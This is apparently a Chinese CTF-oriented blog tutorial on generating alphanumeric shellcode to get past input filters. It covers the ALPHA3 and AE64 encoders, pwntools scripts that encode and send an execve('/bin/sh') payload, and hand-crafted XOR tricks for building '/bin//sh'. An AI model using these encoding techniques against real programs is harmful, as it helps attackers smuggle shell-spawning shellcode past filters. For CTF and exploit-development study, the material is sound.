手把手教你寫純字符ascii shellcode——最通俗易懂的alphanumeric shellcode生成指南

alphanumeric shellcode

alphanumeric shellcode(純字符shellcode)是比較實用的一項技術,因爲有些時候程序會對用戶輸入的字符進行限制,比如只允許輸入可見字符,這時就需要用到純字符的shellcode了。

原理很簡單,就是使用純字符對應的彙編指令完成shellcode的編寫,比如:

ASCII字符 Hex 彙編指令
P 0x50 push %rax
Q 0x51 push %rcx
R 0x52 push %rdx
S 0x53 push %rbx
T 0x54 push %rsp
U 0x55 push %rbp
V 0x56 push %rsi
W 0x57 push %rdi
X 0x58 pop %rax
Y 0x59 pop %rcx
Z 0x5a pop %rdx

其餘的就不一一列出了,本篇主要介紹使用工具編碼,手動編碼可以參考以下幾篇文章:

alpha3

這個工具源碼在google上,國內可以選擇從github下載。不過官方代碼在Linux環境下運行時有些問題:

% python ALPHA3.py
Traceback (most recent call last):
  File "ALPHA3.py", line 4, in <module>
    import charsets, encode, io
  File "/home/taqini/ctf_tools/alpha3/encode.py", line 1, in <module>
    import ALPHA3
  File "/home/taqini/ctf_tools/alpha3/ALPHA3.py", line 5, in <module>
    import x86, x64, test
  File "/home/taqini/ctf_tools/alpha3/test/__init__.py", line 25, in <module>
    raise OSError("Unsupported platform for testing.");
OSError: Unsupported platform for testing.

看下報錯信息,發現錯誤在test/__init__.py中,打開源碼,發現有個判斷平臺的代碼,如果不是win32就報錯,解決方法很簡單,只需要把後兩行代碼註釋掉就行,修改如下:

if (sys.platform == 'win32'):
	# ...
    TEST_SHELLCODE_OUTPUT = "Hello, world!\r\n"
#else:
#  raise OSError("Unsupported platform for testing.");

再次運行就正常:

% python ALPHA3.py
____________________________________________________________________________
      ,sSSs,,s,  ,sSSSs,    ALPHA3 - Alphanumeric shellcode encoder.
     dS"  Y$P"  YS"  ,SY    Version 1.0 alpha
    iS'   dY       ssS"     Copyright (C) 2003-2009 by SkyLined.
    YS,  dSb   SP,  ;SP     <[email protected]>
    `"YSS'"S'  "YSSSY"      http://skypher.com/wiki/index.php/ALPHA3
____________________________________________________________________________

[Usage]
  ALPHA3.py  [ encoder settings | I/O settings | flags ]

# ...

修改完之後還需要編譯源碼,但是編譯源碼的工具也在google上,如果懶得自己編譯,可以直接下載我修改版: https://github.com/TaQini/alpha3

git clone https://github.com/TaQini/alpha3.git

生成shellcode

from pwn import *
context.arch='amd64'
sc = shellcraft.sh()
print asm(sc)

將上述代碼保存成sc.py放到alpha3目錄下,然後執行如下命令生成待編碼的shellcode文件

python sc.py > shellcode

默認生成的是x64的sys_execve("/bin/sh",0,0),可以修改成其他的arch或shellcode

x64 alpha編碼

生成x64 alpha shellcode

python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"

或者用我寫的腳本:

./shellcode_x64.sh rax

其中輸入文件爲shellcoderax是用於編碼的寄存器(shellcode基址)

比如有如下代碼:

  00101246 48 8d     LEA    RAX,[RBP + -0x410]
           85 f0 
           fb ff 
  0010124d ff d0     CALL   RAX
  ; ...

通過call rax跳轉到shellcode,那麼alpha3命令中用於編碼的寄存器就是rax

shellcode的起始地址存在哪個寄存器中,用於編碼的寄存器就是哪個

x86 alpha編碼

alpha3中x64的shellcode只要上述mixedcase一種情況,x86的選項比較多:

  • x86 ascii uppercase (數字+大寫字母)
  • x86 ascii lowercase (數字+小寫字母)
  • x86 ascii mixedcase (數字+大小寫字母)

用法與x64相似,不贅述啦~

全部編碼方式

alpha3支持的所有編碼方式如下:

Valid base address examples for each encoder, ordered by encoder settings,
are:

[x64 ascii mixedcase]
  AscMix (r64)              RAX RCX RDX RBX RSP RBP RSI RDI

[x86 ascii lowercase]
  AscLow 0x30 (rm32)        ECX EDX EBX

[x86 ascii mixedcase]
  AscMix 0x30 (rm32)        EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
                            [EDX] [EBX] [ESP] [EBP] [ESI] [EDI] [ESP-4]
                            ECX+2 ESI+4 ESI+8
  AscMix 0x30 (i32)         (address)
  AscMix Countslide (rm32)  countslide:EAX+offset~uncertainty
                            countslide:EBX+offset~uncertainty
                            countslide:ECX+offset~uncertainty
                            countslide:EDX+offset~uncertainty
                            countslide:ESI+offset~uncertainty
                            countslide:EDI+offset~uncertainty
  AscMix Countslide (i32)   countslide:address~uncertainty
  AscMix SEH GetPC (XPsp3)  seh_getpc_xpsp3

[x86 ascii uppercase]
  AscUpp 0x30 (rm32)        EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
                            [EDX] [EBX] [ESP] [EBP] [ESI] [EDI]

[x86 latin-1 mixedcase]
  Latin1Mix CALL GetPC      call

[x86 utf-16 uppercase]
  UniUpper 0x10 (rm32)      EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
                            [EDX] [EBX] [ESP] [EBP] [ESI] [EDI]

AE64

AE64是杭電的一位大師傅寫的工具,專用於生成64位的aplha shellcode。下載方式:

git clone https://github.com/veritas501/ae64.git

AE64的優勢在於編碼時可以更加靈活地使用寄存器,但是生成的alpha shellcode比alpha3要更長一些。

此外AE64是python寫的,可以直接在python中調用,以下是官方的栗子:

from pwn import *
from ae64 import AE64

context.log_level = 'debug'
context.arch = 'amd64'

p = process('./example1')

obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'r13')

p.sendline(sc)

p.interactive()

手寫alpha shellcode

最近做題遇到的,限制比普通ascii shellcode嚴格所以無法自動生成

詳見:DawgCTF2020-trASCII

這裏只貼關於aplha shellcode的字符串生成的小技巧

字符串生成小技巧

異或法

英文寫的很蹩腳,但是應該能懂…

There are some techniques about generating string by ascii shellcode:

Ascii shellcode for generating string is as follows:

opcode(in ascii) assembly instructions
hxxxx push xxxx
5xxxx xor eax, xxxx
X pop eax
H dec eax

Example

Example1: generating ‘/bin

  1. List a table of string generated by XOR
target 1 b i n
tmp1 1 b 1 1
tmp2 b 1 i 1
tmp3 b 1 1 n
  1. set eax to 1bin with ascii shellcode
ascii instructions
h1b11 push 0x31316231
X pop eax
5b1i1 xor eax, 0x31693162
5b11n xor eax, 0x6e313162
  1. generate /bin from 1bin
          ; eax = 1bin
dec eax    ; eax = 0bin
dec eax    ; eax = /bin

Example2: generating ‘//sh

  1. List a table of string generated by XOR
target / / s h
tmp1 1 w 1 P
tmp2 w 1 A 1
tmp3 1 X 1 8
tmp4 X 1 2 1
  1. set eax to //sh with ascii shellcode
ascii instructions
h1w11 push 0x31317731
X pop eax
5w1A1 xor eax, 0x31413177
51X2P xor eax, 0x50325831
5X118 xor eax, 0x38313158

減法

方法來源ref: binLep師傅

同題我的解法: pwn6

asm('sub byte ptr [rsi + 0x2f], dl')

# '(V/'
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章